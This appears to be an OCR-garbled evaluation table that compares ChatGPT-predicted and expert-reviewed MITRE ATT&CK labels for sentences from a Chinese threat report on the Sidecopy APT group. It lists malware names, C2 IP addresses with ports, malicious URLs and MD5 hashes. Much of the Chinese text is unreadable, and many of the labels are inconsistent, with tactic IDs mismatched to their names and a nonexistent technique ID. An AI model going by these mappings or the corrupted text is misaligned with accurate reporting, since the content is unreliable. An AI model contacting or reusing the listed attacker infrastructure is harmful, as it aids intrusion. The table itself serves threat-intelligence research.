mshta.exe i5EESHIEENE Ssynergy ASIEM | - td" 'T121§.005', 'technique'l:
N L 'mshta'}, {'taid": 'TA0011', 'tactic": '
THIREHEHT, S5 tid: T1105",
'technique: ' T E[EAZEHE")]
HUEEHAIXHER delegation.hta, 2 [{'taid': 'TA0002', ‘tactic': 'H11T", I [0]
Sidecopy G F#Y JS 7S, 'tid": 'T1059.007', 'technique':
JS']
delegation.hta X EINEERMZFME [{'taid": 'TA0005', 'tactic': 'Bhiflikiz | 0 !
preBotHta.dll, #ifF preBotHta.dll FAY ', 'tid" T 5‘74-002" ‘technique':
PinkAgain &%, DLL IS
PinkAgain &SR8 JS RIBRIRERS | [('taid: 'TA0002', ‘tactic’: 47",  |['malware’, [0, 1]
i€, BIGELE PDF XA RS = 'tid": 'T1059.007', 'technique': PinkAgall
'JS'}, {'taid': 'TA0005', 'tactic': 'BA
k&', tid': 'T1140', 'technique': '
ERERIEXXHRERY
RSB JS MIAEBMRRERRRERFLEN | [('taid: 'TA0005', ‘tactic': Fhtiki |0 [0]
TAR, BESERAR, TESEFREREME | ', 'tid': 'T1140', 'technique': 'FERIE
BE—19%, BRESNBEERBHFHRT— | BEXHHERY
AIHATCM .
FRIAY Trex.exe {A3ERE Trex A S8R, [{'taid': 'TA0005', 'tactic': 'FhfEIke | 0 [0]
', 'tid": 'T1036"', 'technique': '{h2E')]
BAKRSIMZEEES, SFBMA. AF | [{'taid: 'TA0007', 'tactic': 'R, I [0]

B, ZRER. RARFE.

'tid": 'T1082', 'technique': 'R 415
BEIY




C RAT HIR&, RIEFFIRINE A DetaRAT
AR ANHMER:R 38 23 B FB A ThEE .

', 'tid": 'T1555.003', 'technique': 'M
NI AR IREVEIE )]

REBRESINERREE C2: [{'taid': 'TAO010", 'tactic": '#xiE5R | [ 1 [
209.126.81.42, ii[1J9 444, FHEEHT C23REAY |, 'tid": 'T1041', 'technique': 'C2 &
iE, = C2iREIREUIEAT 1 FTH, ZARM | B LHNEIESRY
NimiEiiig, ZTN—EER, mEfREEEEH
C2 —EHiREIEFRY,
IR IR R FRIFTE XX ERAEHR, 3 | [{'taid': 'TA0010', 'tactic': '#iES R | [ 1 [
BENRIERIIEERMBZIZR IR ', 'tid": 'T1041', technique': 'C2 &
EEREIESIR
[ C2 RE=Rackf5, 18K C2 REIRIEIEH | [{'taid": 'TAO011, ‘tactic’: ‘<54 | [ 1 [0]
BAXHELRRT #', 'tid": 'T1105', 'technique’: 'THE
AREE Y
5182 d'ThgE—, XAETFME C2 KiE= [{'taid": 'TA0011", 'tactic’: '&< 51 | [ 1 [0]
Rack’fg, U C2 REIREIEE N XHFHMIT | Hl', 'tid': 'T1105', 'technique': 'TH
AREE Y
T B 46 R ST 14 B S A4 3K [{'taid': 'TA0005', 'tactic’: 'tk | 0 1 [0]
', 'tid'": 'T1070.004', ‘technique': 'Hi
FRSCHRIE Y
L& c2 8RB B THIX M [{'taid": 'TA0010', ‘tactic’: '#iEER | [ 1 [0]
', 'tid": 'T1041", 'technique': 'C2 1&
E EREIESIR
BRHRE [{'taid': 'TA0009', 'tactic': 'SREE", I 1 [0]
tid': 'T1113", 'technique’: 'E/R'}]
HR Sidecopy R MEBM EREEBEEH | [('taid: 'TA0006', 'tactic’: EiEiHa | [ 1 [0]

ChatGPT Infer Result

text

tts

ttps_pred_coun
t

ttps_accept_id
X

B Z{TaiFI§E 2 7 Operation Sidecopy.

2020 &£ 9 A, Quick Heal #i5E 7 — 2N ENEERFERN N KEEBAFEEA ZH

[{'taid': 'TA0005',
'tactic': 'Collection’,
'tid": 'T1213',
'technique': 'Data

'TA0040', 'tactic":
'Collection’, 'tid":

'Network Sniffing'},
{'taid": 'TA0003',
'tactic': 'Collection’,
'tid': 'T1056',
'technique': 'Input
Capture'}, {'taid":
"TA0040', 'tactic':
'Collection’, 'tid":

'Data Staged'}]

Obfuscation'}, {'taid":

'T1040', 'technique":

'T1074', 'technique':

4

[0,1,2,3]




Sidecopy EZIU1F 9 B FERAEIFEY ZIP EA BFTEE LNK 3X{#5) DOC X
45 R TR

[{'taid": 'TA0014',
'tactic': 'Initial
Access', 'tid": 'T1566',
'technique':
'Phishing'}, {'taid":
'"TA0014', 'tactic":
'Initial Access', 'tid":
'T1193', 'technique":
'Spearphishing
Attachment'}, {'taid":
'"TA0014', 'tactic':
'Initial Access', 'tid":
'T1566', 'technique':
'Phishing'}, {'taid":
'"TA0014', 'tactic":
'Initial Access', 'tid":
'T1566', 'technique':
'Phishing'}]

[0,1,2,3]

Sidecopy AARAFENENEERFETREZBARRTAENRE, MENEBRFE
MEFEARNRTEREET, EREXNERARENENERARMEf
BFAAFSESEE, Bl /EE USB 18 &RIEENE B =T HIBAEF
FEFRAA,

[{'taid": 'TA0040',
'tactic': 'Collection’,
'tid": 'T1071",
'technique':
'Application Layer
Protocol'}, {'taid":
'TA0040', 'tactic":
'Collection’, 'tid":
'T1074', 'technique':
'Data Staged'}, {'taid":
'TA0003', 'tactic":
'Collection’, 'tid":
'T1059', 'technique':
‘Command and
Scripting Interpreter'},
{'taid': 'TA0014',
'tactic': 'Initial
Access', 'tid": 'T1566',
'technique':
'Phishing'}]

[0,1,2,3]

bR EEDF, RiEEEZNRAMRNRERENIEE, BT HREMR
ARFH AN HBEIEEFRELEZES.

[{'taid": 'TA0014',
'tactic': 'Initial
Access', 'tid": 'T1566',
'technique':
'Phishing'}, {'taid":
'"TA0003', 'tactic'":
'Execution’, 'tid":
'T1027', 'technique':
'Obfuscated Files or
Information'}, {'taid":
'"TA0014', 'tactic":
'Initial Access', 'tid":
'T1566', 'technique':
'Phishing'}, {'taid":
'"TA0040', 'tactic":
‘Command and
Control', 'tid":
'T1071", 'technique':
'Application Layer
Protocol'}]

[0,1,2,3]

R EERF, Sidecopy FIERHES Z RN LA RIFHEN—, ER
TELNK XHHEAANOR, ARARE—TERNERE, TRSEXMHREMN
RERENBRAR.,

[{'taid": 'TAO003',
'tactic': 'Persistence’,
'tid": 'T1547",
'technique': 'Boot or
Logon Autostart
Execution: Shortcut
Modification'}, {'taid":
'TA0003', 'tactic":
'Defense Evasion',
'tid": 'T1027",
'technique':

[0,1,2,3]




'Obfuscated Files or
Information'}, {'taid":
'"TA0003', 'tactic':
'Execution’, 'tid":
'T1204', 'technique":
'User Execution'},
{'taid': 'TA0010',
'tactic': 'Command
and Control', 'tid":
'T1571", 'technique':
'Non-Standard Port'}]

HERLHE M Sidecopy ARFIFRNAD, £S5 C2 NBEEIREPFIL
FACK ERF, BULEHMENIEHBRE) AckRAT,

[{'taid": 'TA0043',
'tactic': 'Command
and Control', 'tid":
'T1001', 'technique:
'Data Encoding'},
{'taid': 'TA0040',
'tactic': 'Lateral
Movement', 'tid":
'T1570', 'technique':
'Lateral Tool
Transfer'}, {'taid":
'TA0043', 'tactic":
‘Command and
Control', 'tid":
'T1571", 'technique':
'Non-Standard Port'}]

[0,1,2]

HMNBEWDEBERE R 228 XGRS, ESHEFHNIMEERERZEER
HEITFESEE X, HEREEP Ink X,

[{'taid": 'TA0014',
'tactic': 'Initial
Access', 'tid": 'T1566',
'technique':
'Phishing'}]

U]

3FiEE Ink XE#HTOH, EEARSKM mshta.exe ifIaiEHEEE
Ssynergy A3 E M THIREBENIT.

[{'taid": 'TA0002',
'tactic': 'Execution’,
'tid": 'T1193',
'technique':
'Spearphishing
Attachment'}, {'taid":
"TA0002', 'tactic":
'Execution’, 'tid":
'T1218', 'technique":
'Signed Binary Proxy
Execution: Mshta'},
{'taid": 'TA0035',
'tactic': 'Command
and Control', 'tid":
'T1071", 'technique':
'Application Layer
Protocol'}]

[0,1,2]

FEA15EM Sidecopy HLRE T RIIIGH R LEZE Ssynergy 2T EM, BEIEIE
EMiGHIE RS EETE, MR IHo 22 RENERE.

[{'taid": 'TA0002',
'tactic': 'Execution’,
'tid": 'T1203',
'technique':
'Exploitation for Client
Execution'}, {'taid":
"TA0002', 'tactic":
'Exfiltration’, 'tid":
'T1048', 'technique':
'Exfiltration Over
Alternative Protocol'}]

[0, 1]

delegation.hta HEXEINEERAFFNE preBotHta.dll, FHiFMA
preBotHta.dll Y PinkAgain B&i%X

[{'taid": 'TA0O002',
'tactic': 'Execution’,
'tid": 'T1055',
'technique': 'Process
Injection'}, {'taid":
'TA0002', 'tactic":
'Defense Evasion',

[0, 1]




'tid': 'T1497',
'technique':
'Virtualization/Sandbo
x Evasion'}]

PinkAgain R E SR2E JS (U ERERVEE, RRIEUATE PDF X LARRESZ
-

[{'taid": 'TA0O002',
'tactic': 'Defense
Evasion', 'tid":
'T1027', 'technique':
'Obfuscated Files or
Information'}]

U]

fgfEiEd JS MIAREMNRRESRRERENTAN, BEIRREF, F
ERMMHRRPER—T DX, BEECENBIEFRBHIT—IIHRITX
.

[{'taid": 'TA0O002',
'tactic': 'Execution’,
'tid": 'T1082',
'technique': 'System
Information
Discovery'}, {'taid":
'TA0002', 'tactic":
'Execution’, 'tid":
'T1204', 'technique":
'User Execution'}]

[0, 1]

BRIHI Trex.exe fh3EEY Trex AT,

[{'taid": 'TA0002',
'tactic': 'Defense
Evasion', 'tid":
'T1036', 'technique':
'Masquerading:
Rename System
Utilities'}]

U]

BRBSSNZEERER, SFENa. APA. RRER. RERES.

[{'taid': 'TAO003',
'tactic': 'Discovery’,
'tid': 'T1082',
'technique': 'System
Information
Discovery'}]

U]

AREBREZINEEREE C2: 209.126.81.42, iK1 444, FHiEH C2iR
EIREIE, & C2 BREINEIEAT 1 FTHE, Za#NnRiRiE, SN—E®@
¥, mMEFFRIREEF c2 —HREIEFER Y,

[{'taid': 'TA0002',
'tactic': 'Command
and Control', 'tid":
'T1071", 'technique":
'Application Layer
Protocol'}, {'taid":
'"TA0002', 'tactic':
‘Command and
Control', 'tid":
'T1102', 'technique':
'Web Service'}]

[0, 1]

3E no
b
REVIEE KR TRIFRE XX RIBTR, FHIFENRZEIIEEHNMEIZR

Ui

[{'taid": 'TA0O002',
'tactic': 'Exfiltration’,
'tid": 'T1048',
'technique':
'Exfiltration Over
Alternative Protocol'}]

U]

no
d

[ C2 RKiE=R'ack’[5, &I C2 REIHIEIEHE ANXHEFHT

[{'taid": 'TA0003',
'tactic': 'Collection’,
'tid": 'T1005',
'technique': 'Data
from Local System'},
{'taid': 'TA0002',
'tactic': 'Exfiltration’,
'tid": 'T1048',
'technique':
'Exfiltration Over
Alternative Protocol'}]

[0, 1]

SHELCE—H, RHETE C2 RiE=/R'ack’z, X C2 REINIIES
AXHEHIAT

[{'taid': 'TA0003',
'tactic': 'Collection’,
'tid": 'T1005',
'technique': 'Data

[0,1,2,3]




from Local System'},
{'taid": 'TA0002',
'tactic': 'Exfiltration’,
'tid": 'T1048',
'technique':
'Exfiltration Over
Alternative Protocol'},
{'taid": 'TA0002',
'tactic': 'Execution’,
'tid": 'T1059',
'technique':
‘Command and
Scripting Interpreter:
PowerShell'}, {'taid":
'TA0002', 'tactic'":
'Execution’, 'tid":
'T1106', 'technique':
'Execution through
API'}]

f
FRIBS 45 RE ST 148 S 14 3K

[{'taid': 'TAO002',
'tactic': 'Impact’, 'tid":
'T1485', 'technique":
'Data Destruction'}]

U]

g
inFE shell

[{'taid": 'TA0O002',
'tactic': 'Execution’,
'tid": 'T1043',
'technique':
‘Commonly Used
Port'}, {'taid":
'TA0002', 'tactic":
'Execution’, 'tid":
'T1021", 'technique':
'Remote Services'}]

[0, 1]

L& C2 I5EIRR THIX M

[{'taid": 'TAO002',
'tactic': 'Exfiltration’,
'tid": 'T1041",
'technique':
'Exfiltration Over C2
Channel'}]

U]

RIEHBRES

=2

HEHRE

[{'taid': 'TAO003',
'tactic': 'Discovery’,
'tid": 'T1082',
'technique': 'System
Information
Discovery'}, {'taid":
"TA0002', 'tactic':
'Impact’, 'tid":
'T1489', 'technique':
'System
Shutdown/Reboot'},
{'taid': 'TA0002',
'tactic': 'Collection’,
'tid": 'T1113',
'technique': 'Screen
Capture'}, {'taid":
"TA0002', 'tactic':
'Impact’, 'tid":
'T1489', 'technique':
'System
Shutdown/Reboot'}]

[0,1,2,3]

HIHERBRSHEL BIEER (Sidecopy 4435 HA LA ENEE EIRAERE X 3044
ABFENBEEDDHY [21—XPEF—H,

[{'taid': 'TAO000',
'tactic': 'Unknown’,
'tid': 'T0000',
'technique':
'Unknown'}]

U]

FHEHESP Ink XEHIME—FREFEFERR.

[{'taid': 'TA0003',
'tactic': 'Discovery',

U]




'tid': 'T1074',
'technique': 'Data
Staged'}]

ELLEEESFIERI 3 B Sidecopy Kt AIF{EFAAI DetaRAT, C2 5
185.136.161.129, im[:2 4987, HHH C2 i5S B EMAIHLEHRETR.

[{'taid": 'TA0002',
'tactic': 'Command
and Control', 'tid":
'T1071", 'technique':
'Application Layer
Protocol'}, {'taid":
'"TA0003', 'tactic':
'Collection’, 'tid":
'T1005', 'technique':
'Data from Local
System'}]

[0, 1]

HIX Sidecopy &7 MEEXM LIRS FEEHC RAT KIS, 1RIEFFIRI
B#E#HY DetaRAT HFRANABR N 323 22 A3 AUTHAE.,

[{'taid": 'TA0O002',
'tactic': 'Defense
Evasion', 'tid":
'T1027', 'technique':
'Obfuscated Files or
Information'}, {'taid":
'TA0003', 'tactic":
'Credential Access',
'tid": 'T10083',
'technique':
'Credential
Dumping'}]

[0, 1]

bR Sidecopy ARHIINER 3 AT EMELSE, HEAMERT
AllaKoreRAT, ActionRAT. DetaRAT. C++KB%E, WEFERRBAB
FERAE—, BTERAMNS LA RARBRIA,

[{'taid': 'TAO000',
'tactic': 'Unknown’,
'tid': 'T0000',
'technique':
'Unknown'}]

U]

BUEIHREIRA TR E T HIT Linux, MacOS £ZF&MNIE[3], FLERED
1ERPOSEH#TREANMREMRE, RNRNZ2EMHFRERLZLE.

[{'taid': 'TAO000',
'tactic': 'Unknown’,
'tid': 'T0000',
'technique':
'Unknown'}]

U]

APT AAWFH—EURN FERMELRZRE—TERNNELREZEHED, &
FBHREEAGBOEY, HTFBALSBiEEH, HFEARNER, HAS
RSB AR P R R E AR, TATZIIRE.

[{'taid': 'TAO000',
'tactic': 'Unknown’,
'tid': 'T0000',
'technique':
'Unknown'}]

U]

BRIEMMERPORET KAP, EHNERE, DZITAHREESZM
RAAFRRIEEE, FREMTRAFFERERIE, FETIRESHKIRIX
f, TREFEMRENIFN APP, HEIRREMERENM, EMREHT.

[{'taid": 'TAO005',
'tactic': 'Defense
Evasion', 'tid":
'T1566', 'technique':
'Phishing'}, {'taid":
'TA0003', 'tactic":
'Defense Evasion’,
'tid": 'T1036',
'technique':
'Masquerading'},
{'taid': 'TA0003',
'tactic': 'Execution’,
'tid": 'T1204',
'technique': 'User
Execution'}, {'taid":
'TA0003', 'tactic":
'Defense Evasion',
'tid": 'T1140',
'technique':
'Deobfuscate/Decode
Files or Information'},
{'taid': 'TA0003',
'tactic': 'Installation’,
'tid": 'T1406',
'technique': 'Install
Third-party

0,1,2,3,4,5,
6]




Software'}, {'taid":
'"TA0003', 'tactic':
'‘Backup', 'tid":
'T1498', 'technique":
'Network Share
Connection
Removal'}, {'taid":
'"TA0003', 'tactic':
'Patch’, 'tid": 'T1053',

'technique':

'Scheduled

Task/Job'}]
EWET, RERGTEOLA, TEEISREMDERERESHTa |1 TA003, 1 (0]

(https://sandbox.ti.gianxin.com/sandbox/page) #1713, BRI X Evasioﬁ', 'tid":

4% Windows, RETAEMNSHEAIIEFED. j;:}?sf;ﬁr';;ﬁch”ique':
Be#l, ETSRERMERPOMBEMERMENSETR, SESRERD [ggiggggﬁon 1 [l
WBRES (TP) . X, XESREMENRL, SRENGSOC, FLE |- T1084'.
SHEAS, POILHN MRS ERILN, technique':

'Scripting'}]
MD5 [{'taid": "TAO000", 1 0]
6D724445E65B6407F26A5B0251FDD1E4 'tactic': 'Unknown’,

'tid'; 'T0O000',
D663E977C079D338D47E937F7AFCFBB4 'technique':

'Unknown'}]
2C65DC705BA503261654AA40484A19E9
42A152594AF53012A3559BD7CDF99056
AC92A32AEE15421AB9E953B1836A691B
E62B5CC773A2240BBFA56B535076905F
209.126.81.42:444 [{'taid": "TA0002", 1 0]
185.136.161.129:4987 'tactic': 'Command

and Control', 'tid":

'T1071", 'technique':

'Application Layer

Protocol'}]
https://ssynergy.in/wp- [{'taid": 'TA0O002', 1 [0]
content/themes/twentytwentythree/assets/fonts/inter/delegation/ 'tactic': '‘Command

and Control', 'tid":
https://cornerstonebeverly.org/js/files/docufentososo/doecumentoson | 'T1566', 'technique':
eso 'Phishing'}]
https://halterarks.co.uk/img/gallery/misc/files/htmi5-k/
https://halterarks.co.uk/img/gallery/misc/files/jquery-k/
[1] https://blog.talosintelligence.com/2021/07/Sidecopy.html [{'taid": 'TA0000', 1 [0]

[2] https://ti.gianxin.com/blog/articles/Analysis-of-Sidecopy-Group's-

'tactic': 'Unknown’,

Recent-Attacks-Using-Indian-Ministry-of-Defense-Documents-as- 'tid": 'TO000’,
Lures-CN/ 'technique':
'Unknown'}]
[3] https://ti.gianxin.com/blog/articles/Sidecopy-dual-platform-
weapon/
Expert Review Result
text tts ttps_pred_coun | ttps_accept_id

t

X

2020 &£ 9 A, Quick Heal #i5E 7 — 2N ENEERFENRKEEPAFEEA ZH
B Z{TaF IS E 2 7 Operation Sidecopy.

[{'taid': 'TA0005',
'tactic': 'Collection’,
'tid": 'T1213',

4

I




'technique': 'Data
Obfuscation'}, {'taid":
"TA0040', 'tactic':
'Collection’, 'tid":
'T1040', 'technique":
'Network Sniffing'},
{'taid': 'TA0003',
'tactic': 'Collection’,
'tid': 'T1056',
'technique': 'Input
Capture'}, {'taid":
"TA0040', 'tactic':
'Collection’, 'tid":
'T1074', 'technique':
'Data Staged'}]

Sidecopy EZIU1F 9 B FERAEIFEY ZIP EA BFTEE LNK 3X{#5} DOC X
45 RERRME.

[{'taid": 'TA0014',
'tactic': 'Initial
Access', 'tid": 'T1566',
'technique':
'Phishing'}, {'taid":
'"TA0014', 'tactic":
'Initial Access', 'tid":
'T1193', 'technique":
'Spearphishing
Attachment'}, {'taid":
'"TA0014', 'tactic":
'Initial Access', 'tid":
'T1566', 'technique':
'Phishing'}, {'taid":
'"TA0014', 'tactic":
'Initial Access', 'tid":
'T1566', 'technique':
'Phishing'}]

[0,1,2,3]

Sidecopy AARAFENENEERFETREZBARRTAENRE, MENEBRFE
MEFEARNRTEREET, EREXNERARENENERARMEf
BFAAFSESESE, Bl /EE USB 18 &RIEENE B = T HIBAEF
FEFRAA,

[{'taid": 'TA0040',
'tactic': 'Collection’,
'tid": 'T1071",
'technique':
'Application Layer
Protocol'}, {'taid":
'TA0040', 'tactic":
'Collection’, 'tid":
'T1074', 'technique':
'Data Staged'}, {'taid":
'TA0003', 'tactic":
'Collection’, 'tid":
'T1059', 'technique:
‘Command and
Scripting Interpreter'},
{'taid': 'TA0014',
'tactic': 'Initial
Access', 'tid": 'T1566',
'technique':
'Phishing'}]

[

R EEDF, RiEEERZNRAMRNRERENIEE, BT HEMR
ARFHAX MG HBEIEEFRELEZES,

[{'taid": 'TA0014',
'tactic': 'Initial
Access', 'tid": 'T1566',
'technique':
'Phishing'}, {'taid":
'TA0003', 'tactic":
'Execution’, 'tid":
'T1027', 'technique':
'Obfuscated Files or
Information'}, {'taid":
'"TA0014', 'tactic":
'Initial Access', 'tid":
'T1566', 'technique':
'Phishing'}, {'taid":
'"TA0040', 'tactic":
‘Command and

[0, 3]




Control', 'tid":
'T1071", 'technique':
'Application Layer
Protocol'}]

R EERF, Sidecopy FIERHES Z RN A RIFHEN—, ER
TELNK XHHEAANOR, ARRE—TERNERE, TRSEXHREMN
RERENBRAR.,

[{'taid": 'TAO003',
'tactic': 'Persistence’,
'tid": 'T1547",
'technique': 'Boot or
Logon Autostart
Execution: Shortcut
Modification'}, {'taid":
'TA0003', 'tactic":
'Defense Evasion',
'tid": 'T1027",
'technique':
'Obfuscated Files or
Information'}, {'taid":
'TA0003', 'tactic":
'Execution’, 'tid":
'T1204', 'technique":
'User Execution'},
{'taid': 'TA0010',
'tactic': 'Command
and Control', 'tid":
'T1571", 'technique':
'Non-Standard Port'}]

2]

HERLHE M Sidecopy ARFIFRNAD, £S5 C2 NBEEIREPFIL
FACK ERF, BULEHMENIEHBRE) AckRAT,

[{'taid": 'TA0043',
'tactic': 'Command
and Control', 'tid":
'T1001', 'technique:
'Data Encoding'},
{'taid': 'TA0040',
'tactic': 'Lateral
Movement', 'tid":
'T1570', 'technique':
'Lateral Tool
Transfer'}, {'taid":
'TA0043', 'tactic":
‘Command and
Control', 'tid":
'T1571", 'technique':
'Non-Standard Port'}]

HMNBEWDEBERE R 228 XGRS, ESHEFHNIMEERERZEER
HEITFESEE X, HEREEP Ink X+,

[{'taid": 'TA0014',
'tactic': 'Initial
Access', 'tid": 'T1566',
'technique':
'Phishing'}]

U]

3FiEE Ink XE#HTOH, EEARSKM mshta.exe ifIaiEHEEE
Ssynergy A3 E M THIREBENIT.

[{'taid": 'TA0002',
'tactic': 'Execution’,
'tid": 'T1193',
'technique':
'Spearphishing
Attachment'}, {'taid":
"TA0002', 'tactic":
'Execution’, 'tid":
'T1218', 'technique":
'Signed Binary Proxy
Execution: Mshta'},
{'taid": 'TA0035',
'tactic': 'Command
and Control', 'tid":
'T1071", 'technique':
'Application Layer
Protocol'}]

[1,2]

FEA15EM Sidecopy HLRE T RIIIGH R LEZE Ssynergy 2T EM, BEIEIE
EMiGHIE RS EEHE, MR IHo 22 RENERE.

[{'taid": 'TAO002',
'tactic': 'Execution’,
'tid": 'T1203',




'technique':
'Exploitation for Client
Execution'}, {'taid":
'TA0002', 'tactic":
'Exfiltration’, 'tid":
'T1048', 'technique:
'Exfiltration Over
Alternative Protocol'}]

delegation.hta HEXEINEERAFFNE preBotHta.dll, FHiFMA
preBotHta.dll Y PinkAgain B&i%5

[{'taid': 'TA0002',
'tactic': 'Execution’,
'tid": 'T1055',
'technique': 'Process
Injection'}, {'taid":
'"TA0002', 'tactic':
'Defense Evasion',
'tid": 'T1497',
'technique':
'Virtualization/Sandbo
x Evasion'}]

PinkAgain R E SR2E JS (U ERERVEE, RRIEUATE PDF X LARRESZ
-

[{'taid": 'TA0O002',
'tactic': 'Defense
Evasion', 'tid":
'T1027', 'technique':
'Obfuscated Files or
Information'}]

U]

fgfEiEd JS MIAREMNRRESRRERENTAN, BEIRREF, F
ERMMHRRPER—T9X, BEECENBIEERBHIT—IAIHRITX
.

[{'taid": 'TA0O002',
'tactic': 'Execution’,
'tid": 'T1082',
'technique': 'System
Information
Discovery'}, {'taid":
'TA0002', 'tactic":
'Execution’, 'tid":
'T1204', 'technique":
'User Execution'}]

BRIHI Trex.exe fh3EEY Trex AT,

[{'taid": 'TA0002',
'tactic': 'Defense
Evasion', 'tid":
'T1036', 'technique':
'Masquerading:
Rename System
Utilities'}]

BRBSSNZEERER, SFENa. APA. RRER. RERES.

[{'taid': 'TAO003',
'tactic': 'Discovery’,
'tid': 'T1082',
'technique': 'System
Information
Discovery'}]

U]

AREBRESINEEREE C2: 209.126.81.42, iK1 444, FHiEH C2iR
EIREIE, & C2 BREINEIEAT 1 FTHE, Za#NnRRiE, SN—E®@
¥, mMEFFRIREEF c2 —HREIEFER Y,

[{'taid": 'TA0002',
'tactic': 'Command
and Control', 'tid":
'T1071", 'technique':
'Application Layer
Protocol'}, {'taid":
'"TA0002', 'tactic':
‘Command and
Control', 'tid":
'T1102', 'technique':
'Web Service'}]

3E no
b

IREREEBR 12 TROPRA UM HFRABTR, HEENREEIEENMNEIER

Ui

[{'taid": 'TA0O002',
'tactic': 'Exfiltration’,
'tid": 'T1048',
'technique':
'Exfiltration Over
Alternative Protocol'}]




no
d

[ C2 RKiE=R'ack’[5, &I C2 REIHIEIEHE AXHEFHT

[{'taid": 'TA0003',
'tactic': 'Collection’,
'tid": 'T1005',
'technique': 'Data
from Local System'},
{'taid': 'TA0002',
'tactic': 'Exfiltration’,
'tid": 'T1048',
'technique':
'Exfiltration Over
Alternative Protocol'}]

S5HELCE—H, RHETE C2 RiE=/R'ack’z, X C2 REINIHIES
AXEFHNIT

[{'taid": 'TA0003',
'tactic': 'Collection’,
'tid": 'T1005',
'technique': 'Data
from Local System'},
{'taid': 'TA0002',
'tactic': 'Exfiltration’,
'tid": 'T1048',
'technique':
'Exfiltration Over
Alternative Protocol'},
{'taid': 'TA0002',
'tactic': 'Execution’,
'tid": 'T1059',
'technique':
‘Command and
Scripting Interpreter:
PowerShell'}, {'taid":
'TA0002', 'tactic":
'Execution’, 'tid":
'T1106', 'technique':
'Execution through
API'}]

f
FRIBS 45 RE ST 148 S 14 3K

[{'taid': 'TAO002',
'tactic': 'Impact’, 'tid":
'T1485', 'technique":
'Data Destruction'}]

g
inFE shell

[{'taid": 'TAO002',
'tactic': 'Execution’,
'tid": 'T1043',
'technique':
'‘Commonly Used
Port'}, {'taid":
'TA0002', 'tactic":
'Execution’, 'tid":
'T1021", 'technique":
'Remote Services'}]

L& C2 I5EIRR THIX M

[{'taid": 'TA0O002',
'tactic': 'Exfiltration’,
'tid": 'T1041",
'technique':
'Exfiltration Over C2
Channel'}]

U]

RIEHBRES

i

=2

HEHRE

[{'taid': 'TAO003',
'tactic': 'Discovery’,
'tid': 'T1082',
'technique': 'System
Information
Discovery'}, {'taid":
"TA0002', 'tactic':
'Impact’, 'tid":
'T1489', 'technique':
'System
Shutdown/Reboot'},
{'taid": 'TA0002',
'tactic': 'Collection’,

0,2]




'tid": 'T1113',
'technique': 'Screen
Capture'}, {'taid":
'"TA0002', 'tactic':
'Impact’, 'tid":
'T1489', 'technique':
'System
Shutdown/Reboot'}]

HIGHERBRSHEL BIEER (Sidecopy 4H4350 HA LA ENEE EIRAERE X 3044
ABFBNBEEDDHY [21—XPEF—H,

[{'taid': 'TAO000',
'tactic': 'Unknown’,
'tid': 'T0000',
'technique':
'Unknown'}]

HEHESP Ink XEHIME—FREFEFERR.

[{'taid': 'TAO003',
'tactic': 'Discovery’,
'tid': 'T1074',
'technique': 'Data
Staged'}]

ELLEEESFIERI 3 B Sidecopy Kt AIFf{EFAAI DetaRAT, C2 5
185.136.161.129, im[1:2 4987, HHH C2 iI5S B EMAIHLEHRETR.

[{'taid": 'TA0002',
'tactic': 'Command
and Control', 'tid":
'T1071", 'technique':
'Application Layer
Protocol'}, {'taid":
'"TA0003', 'tactic'":
'Collection’, 'tid":
'T1005', 'technique':
'Data from Local
System'}]

HIX Sidecopy fR#FMEEXM LIXBAIEFEEHC RAT KIS, 1RIEF IR
B7E#HY DetaRAT HFRANABR N 323 22 A3 AUTHAE.,

[{'taid": 'TAO002',
'tactic': 'Defense
Evasion', 'tid":
'T1027', 'technique':
'Obfuscated Files or
Information'}, {'taid":
'TA0003', 'tactic":
'Credential Access',
'tid": 'T10083',
'technique':
'Credential
Dumping'}]

LR Sidecopy ALRHIINER 3 AT EMESE, HEAMERT
AllaKoreRAT, ActionRAT. DetaRAT. C++KB%E, WEFERRBADB
FERAE—, BTEAMNS LA RNRBRIA,

[{'taid': 'TAO000',
'tactic': 'Unknown’,
'tid': 'T0000',
'technique':
'Unknown'}]

BUERHREERA TR E T EHIT Linux, MacOS £ZF&MNKE[3], FLERE
BRPOSNEBTRNMEMRRE, REZNLTLEMHFRERBLE.

[{'taid': 'TAO000',
'tactic': 'Unknown’,
'tid': 'T0000',
'technique':
'Unknown'}]

APT AAWFH—E RN FERMEWRZRE—TEXNNEREZEHD, &
FHREEAGBOEY, HTFBALSBiEaH, HEARNER, HAS
KBS BRI AR P R R E AR, ISR,

[{'taid': 'TAO000',
'tactic': 'Unknown’,
'tid': 'T0000',
'technique':
'Unknown'}]




BRIEMMERPORET KA, EHNERE, DZITAHREESZM
RAEFRRIEEE, FREMTRAFFOERERIE, FETIRESHKIRIX
f, TREFEMRENITN APP, HEIRREMERENM, EMREHT.

[{'taid": 'TAO005',
'tactic': 'Defense
Evasion', 'tid":
'T1566', 'technique':
'Phishing'}, {'taid":
'TA0003', 'tactic":
'Defense Evasion',
'tid": 'T1036',
'technique':
'Masquerading'},
{'taid': 'TA0003',
'tactic': 'Execution’,
'tid": 'T1204',
'technique': 'User
Execution'}, {'taid":
'TA0003', 'tactic":
'Defense Evasion',
'tid": 'T1140',
'technique':
'Deobfuscate/Decode
Files or Information'},
{'taid': 'TA0003',
'tactic': 'Installation’,
'tid": 'T1406',
'technique': 'Install
Third-party
Software'}, {'taid":
'TA0003', 'tactic":
'‘Backup', 'tid":
'T1498', 'technique:
'Network Share
Connection
Removal'}, {'taid":
'TA0003', 'tactic":
'Patch’, 'tid": 'T1053',
'technique':
'Scheduled
Task/Job'}]

0,2]

ERIET, TREBHAPNEA, AIAEEFRERMERXHRES TR
(https://sandbox.ti.gianxin.com/sandbox/page) #1T#I5., ERIEXF
4% Windows, ZETRERNNSHEAXHFRED .

[{'taid": 'TAO003',
'tactic': 'Defense
Evasion', 'tid":
'T1566', 'technique':
'Phishing'}]

BAl, ETHRERMERFONRMEREENZET R, SEFRENM
BRFEE (TIP) | RE., RESREMENARL. FRENGSOC, FRIF
SHREME, MEETHFHURBERETREN,

[{'taid": 'TA0003',
'tactic': 'Detection’,
'tid": 'T1064',
'technique':
'Scripting'}]

MD5
6D724445E65B6407F26A5B0251FDD1E4

D663E977C079D338D47E937F7AFCFBB4

2C65DC705BA503261654AA40484A19E9

42A152594AF53012A3559BD7CDF99056

AC92A32AEE15421AB9E953B1836A691B

E62B5CC773A2240BBFA56B535076905F

[{'taid': 'TAO000',
'tactic': 'Unknown’,
'tid': 'T0000',
'technique':
'Unknown'}]

209.126.81.42:444
185.136.161.129:4987

[{'taid': 'TAO002',
'tactic': 'Command
and Control', 'tid":
'T1071", 'technique':
'Application Layer
Protocol'}]




